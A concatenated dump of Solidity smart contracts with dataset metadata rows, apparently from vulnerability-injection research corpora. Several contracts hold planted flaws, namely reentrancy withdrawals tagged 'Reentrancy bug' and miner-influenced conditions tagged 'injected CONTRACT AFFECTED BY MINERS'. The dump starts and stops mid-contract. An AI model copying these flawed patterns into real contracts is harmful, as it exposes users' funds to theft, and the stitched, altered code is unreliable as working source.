msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
balances_re_ent19[msg.sender] = 0;
lockTime19 = now - 60 days;
}
}
function collectPlayerWinnings() public byPlayer inState(State.PLAYERS_WIN){
if(guesses[result].players[msg.sender] == PaidStatus.NOT_PAID){
guesses[result].players[msg.sender] = PaidStatus.PAID;
msg.sender.transfer(splitJackpot);
} else revert();
}
mapping (address => uint) private balances_re_ent18;
mapping (address => bool) private disableWithdraw_re_ent18;
function deposit_re_ent18() public payable {
balances_re_ent18[msg.sender] += msg.value;
}
function transfer_re_ent18(address to, uint amount) public {
if (balances_re_ent18[msg.sender] >= amount) {
balances_re_ent18[to] += amount;
balances_re_ent18[msg.sender] -= amount;
}
}
function withdrawBalance_re_ent18() public {
require(disableWithdraw_re_ent18[msg.sender] == false);
uint amountToWithdraw = balances_re_ent18[msg.sender];
if (amountToWithdraw > 0) {
disableWithdraw_re_ent18[msg.sender] = true;
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
disableWithdraw_re_ent18[msg.sender] = false;
balances_re_ent18[msg.sender] = 0;
}
}
function getBalance() private view returns (uint256){
return address(this).balance;
}
mapping(address => uint) balances_re_ent17;
function withdrawFunds_re_ent17 (uint256 _weiToWithdraw) public {
require(balances_re_ent17[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)=msg.sender.call.value(_weiToWithdraw)(""); //Reentrancy bug
require(success); //bug
balances_re_ent17[msg.sender] -= _weiToWithdraw;
}
}
| 223,988 | 13,667 |
23951b48adda642f444f719cf45961937f989f130a5a3b44668a7ed24a958909
| 28,664 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/contractAffectedByMiners/0x591f32c722889339a7c91b003639101355e3df0e_affectedByMiners.sol
| 3,678 | 14,058 |
pragma solidity 0.6.8;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract ERC20DecimalsMock is ERC20 {
constructor (string memory name, string memory symbol, uint8 decimals) public ERC20(name, symbol) {
_setupDecimals(decimals);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (block.gaslimit > 0) { //injected CONTRACT AFFECTED BY MINERS
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract ERC20Capped is ERC20 {
uint256 private _cap;
constructor (uint256 cap) public {
require(cap > 0, "ERC20Capped: cap is 0");
_cap = cap;
}
function cap() public view returns (uint256) {
return _cap;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
if (block.coinbase == address(0)) { // When minting tokens //injected CONTRACT AFFECTED BY MINERS
require(totalSupply().add(amount) <= _cap, "ERC20Capped: cap exceeded");
}
}
}
contract Token is ERC20Capped(21e8), ERC20DecimalsMock("ORIS TEST", "ORIST", 4), Ownable {
struct Payment {
uint40 time;
uint256 amount;
}
IERC20 public orgon_token = IERC20(0xc58603dCD0cfa4B257409DFFF6402aB638DE99b9);
Payment[] public repayments;
mapping(address => Payment[]) public rewards;
event Repayment(address indexed from, uint256 amount);
event Reward(address indexed to, uint256 amount);
function _beforeTokenTransfer(address _from, address _to, uint256 _amount) internal override(ERC20Capped, ERC20) {
if(block.coinbase != address(0)) _reward(_from); //injected CONTRACT AFFECTED BY MINERS
_reward(_to);
ERC20Capped._beforeTokenTransfer(_from, _to, _amount);
}
function _reward(address _to) private returns(bool) {
uint256 balance = balanceOf(_to);
if(rewards[_to].length < repayments.length && balance > 0) {
uint256 sum = 0;
for(uint256 i = rewards[_to].length; i < repayments.length; i++) {
uint256 amount = repayments[i].amount * balance / totalSupply();
rewards[_to].push(Payment({
time : uint40(block.timestamp),
amount : amount
}));
sum += amount;
}
if(block.gaslimit > 0) { //injected CONTRACT AFFECTED BY MINERS
orgon_token.transfer(_to, sum);
emit Reward(_to, sum);
}
return true;
}
return false;
}
function buy(uint256 _amount) external {
orgon_token.transferFrom(msg.sender, owner(), _amount);
_mint(msg.sender, _amount / 5e16);
}
function reward() external returns(bool) {
return _reward(msg.sender);
}
function repayment(uint256 _amount) external onlyOwner {
orgon_token.transferFrom(msg.sender, address(this), _amount);
repayments.push(Payment({
time : uint40(block.timestamp),
amount : _amount
}));
emit Repayment(msg.sender, _amount);
}
function withdrawOrgon(uint256 _amount) external onlyOwner {
orgon_token.transfer(msg.sender, _amount);
}
function availableRewards(address _to) external view returns(uint256 sum) {
uint256 balance = balanceOf(_to);
if(block.timestamp > 0) { //injected CONTRACT AFFECTED BY MINERS
for(uint256 i = rewards[_to].length; i < repayments.length; i++) {
sum += repayments[i].amount * balance / totalSupply();
}
}
}
}
| 281,015 | 13,668 |
3d1ce326a705d4d937458f84223061e7b9cbe5bb7210fd2d7a45447408195840
| 29,394 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x7044326135a8F416DD4a1d48Bc47f808879ed425/contract.sol
| 4,266 | 16,297 |
pragma solidity ^0.5.16;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ReentrancyGuard {
bool private _notEntered;
constructor () internal {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// Inheritance
// https://docs.synthetix.io/contracts/RewardsDistributionRecipient
contract RewardsDistributionRecipient is Ownable {
address public rewardsDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardsDistribution() {
require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract");
_;
}
function setRewardsDistribution(address _rewardsDistribution) external onlyOwner {
rewardsDistribution = _rewardsDistribution;
}
}
// Inheritance
// https://docs.synthetix.io/contracts/Pausable
contract Pausable is Ownable {
uint public lastPauseTime;
bool public paused;
constructor() internal {
// This contract is abstract, and thus cannot be instantiated directly
require(owner() != address(0), "Owner must be set");
// Paused will be false, and lastPauseTime will be 0 upon initialisation
}
function setPaused(bool _paused) external onlyOwner {
// Ensure we're actually changing the state before we do anything
if (_paused == paused) {
return;
}
// Set our paused state.
paused = _paused;
// If applicable, set the last pause time.
if (paused) {
lastPauseTime = now;
}
// Let everyone know that our pause state has changed.
emit PauseChanged(paused);
}
event PauseChanged(bool isPaused);
modifier notPaused {
require(!paused, "This action cannot be performed while the contract is paused");
_;
}
}
// Inheritance
contract StakingRewards is RewardsDistributionRecipient, ReentrancyGuard, Pausable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public constant rewardsToken = IERC20(0x7c67DCCb04b67d4666fd97B2a00bb6D9B8D82E3F); // GOAT
IERC20 public constant stakingToken = IERC20(0xa129848749fdF3C8b2EFc7392126f482869522d5); // GOAT-BNB Pancake LP2
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public rewardsDuration = 50 days;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
constructor() public {
rewardsDistribution = msg.sender;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (_totalSupply == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply));
}
function earned(address account) public view returns (uint256) {
return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]);
}
function getRewardForDuration() external view returns (uint256) {
return rewardRate.mul(rewardsDuration);
}
function stake(uint256 amount) external nonReentrant notPaused updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
stakingToken.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}
function getReward() public nonReentrant updateReward(msg.sender) {
uint256 reward = rewards[msg.sender];
if (reward > 0) {
rewards[msg.sender] = 0;
rewardsToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function exit() external {
withdraw(_balances[msg.sender]);
getReward();
}
function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution updateReward(address(0)) {
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(rewardsDuration);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(rewardsDuration);
}
// Ensure the provided reward amount is not more than the balance in the contract.
// This keeps the reward rate in the right range, preventing overflows due to
// very high values of rewardRate in the earned and rewardsPerToken functions;
// Reward + leftover must be less than 2^256 / 10^18 to avoid overflow.
uint balance = rewardsToken.balanceOf(address(this));
require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high");
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(rewardsDuration);
emit RewardAdded(reward);
}
// Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner {
require(tokenAddress != address(stakingToken) && tokenAddress != address(rewardsToken),
"Cannot withdraw the staking or rewards tokens");
IERC20(tokenAddress).safeTransfer(owner(), tokenAmount);
emit Recovered(tokenAddress, tokenAmount);
}
function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner {
require(block.timestamp > periodFinish,
"Previous rewards period must be complete before changing the duration for the new period");
rewardsDuration = _rewardsDuration;
emit RewardsDurationUpdated(rewardsDuration);
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardsDurationUpdated(uint256 newDuration);
event Recovered(address token, uint256 amount);
}
| 251,403 | 13,669 |
ceabd9ec002264f755ba471f2ec799207d48702166eaa3a7b8a2b2b343e9c0a2
| 20,752 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x8c4ccf23d8674a04665e9e7a64260aa4c0030aeb.sol
| 4,586 | 19,134 |
// Copyright (C) 2017 MixBytes, LLC
// Licensed under the Apache License, Version 2.0 (the "License").
// You may not use this file except in compliance with the License.
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND (express or implied).
pragma solidity ^0.4.15;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ReentrancyGuard {
bool private rentrancy_lock = false;
modifier nonReentrant() {
require(!rentrancy_lock);
rentrancy_lock = true;
_;
rentrancy_lock = false;
}
}
// TODO acceptOwnership
contract multiowned {
// TYPES
// struct for the status of a pending operation.
struct MultiOwnedOperationPendingState {
// count of confirmations needed
uint yetNeeded;
// bitmap of confirmations where owner #ownerIndex's decision corresponds to 2**ownerIndex bit
uint ownersDone;
// position of this operation key in m_multiOwnedPendingIndex
uint index;
}
// EVENTS
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
event FinalConfirmation(address owner, bytes32 operation);
// some others are in the case of an owner changing.
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
// the last one is emitted if the required signatures change
event RequirementChanged(uint newRequirement);
// MODIFIERS
// simple single-sig function modifier.
modifier onlyowner {
require(isOwner(msg.sender));
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation)) {
_;
}
// Even if required number of confirmations has't been collected yet,
// we can't throw here - because changes to the state have to be preserved.
// But, confirmAndCheck itself will throw in case sender is not an owner.
}
modifier validNumOwners(uint _numOwners) {
require(_numOwners > 0 && _numOwners <= c_maxOwners);
_;
}
modifier multiOwnedValidRequirement(uint _required, uint _numOwners) {
require(_required > 0 && _required <= _numOwners);
_;
}
modifier ownerExists(address _address) {
require(isOwner(_address));
_;
}
modifier ownerDoesNotExist(address _address) {
require(!isOwner(_address));
_;
}
modifier multiOwnedOperationIsActive(bytes32 _operation) {
require(isOperationActive(_operation));
_;
}
// METHODS
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
function multiowned(address[] _owners, uint _required)
validNumOwners(_owners.length)
multiOwnedValidRequirement(_required, _owners.length)
{
assert(c_maxOwners <= 255);
m_numOwners = _owners.length;
m_multiOwnedRequired = _required;
for (uint i = 0; i < _owners.length; ++i)
{
address owner = _owners[i];
// invalid and duplicate addresses are not allowed
require(0 != owner && !isOwner(owner));
uint currentOwnerIndex = checkOwnerIndex(i + 1);
m_owners[currentOwnerIndex] = owner;
m_ownerIndex[owner] = currentOwnerIndex;
}
assertOwnersAreConsistent();
}
/// @notice replaces an owner `_from` with another `_to`.
/// @param _from address of owner to replace
/// @param _to address of new owner
// All pending operations will be canceled!
function changeOwner(address _from, address _to)
external
ownerExists(_from)
ownerDoesNotExist(_to)
onlymanyowners(sha3(msg.data))
{
assertOwnersAreConsistent();
clearPending();
uint ownerIndex = checkOwnerIndex(m_ownerIndex[_from]);
m_owners[ownerIndex] = _to;
m_ownerIndex[_from] = 0;
m_ownerIndex[_to] = ownerIndex;
assertOwnersAreConsistent();
OwnerChanged(_from, _to);
}
/// @notice adds an owner
/// @param _owner address of new owner
// All pending operations will be canceled!
function addOwner(address _owner)
external
ownerDoesNotExist(_owner)
validNumOwners(m_numOwners + 1)
onlymanyowners(sha3(msg.data))
{
assertOwnersAreConsistent();
clearPending();
m_numOwners++;
m_owners[m_numOwners] = _owner;
m_ownerIndex[_owner] = checkOwnerIndex(m_numOwners);
assertOwnersAreConsistent();
OwnerAdded(_owner);
}
/// @notice removes an owner
/// @param _owner address of owner to remove
// All pending operations will be canceled!
function removeOwner(address _owner)
external
ownerExists(_owner)
validNumOwners(m_numOwners - 1)
multiOwnedValidRequirement(m_multiOwnedRequired, m_numOwners - 1)
onlymanyowners(sha3(msg.data))
{
assertOwnersAreConsistent();
clearPending();
uint ownerIndex = checkOwnerIndex(m_ownerIndex[_owner]);
m_owners[ownerIndex] = 0;
m_ownerIndex[_owner] = 0;
//make sure m_numOwners is equal to the number of owners and always points to the last owner
reorganizeOwners();
assertOwnersAreConsistent();
OwnerRemoved(_owner);
}
/// @notice changes the required number of owner signatures
/// @param _newRequired new number of signatures required
// All pending operations will be canceled!
function changeRequirement(uint _newRequired)
external
multiOwnedValidRequirement(_newRequired, m_numOwners)
onlymanyowners(sha3(msg.data))
{
m_multiOwnedRequired = _newRequired;
clearPending();
RequirementChanged(_newRequired);
}
/// @notice Gets an owner by 0-indexed position
/// @param ownerIndex 0-indexed owner position
function getOwner(uint ownerIndex) public constant returns (address) {
return m_owners[ownerIndex + 1];
}
/// @notice Gets owners
/// @return memory array of owners
function getOwners() public constant returns (address[]) {
address[] memory result = new address[](m_numOwners);
for (uint i = 0; i < m_numOwners; i++)
result[i] = getOwner(i);
return result;
}
/// @notice checks if provided address is an owner address
/// @param _addr address to check
/// @return true if it's an owner
function isOwner(address _addr) public constant returns (bool) {
return m_ownerIndex[_addr] > 0;
}
/// @notice Tests ownership of the current caller.
/// @return true if it's an owner
// addOwner/changeOwner and to isOwner.
function amIOwner() external constant onlyowner returns (bool) {
return true;
}
/// @notice Revokes a prior confirmation of the given operation
/// @param _operation operation value, typically sha3(msg.data)
function revoke(bytes32 _operation)
external
multiOwnedOperationIsActive(_operation)
onlyowner
{
uint ownerIndexBit = makeOwnerBitmapBit(msg.sender);
var pending = m_multiOwnedPending[_operation];
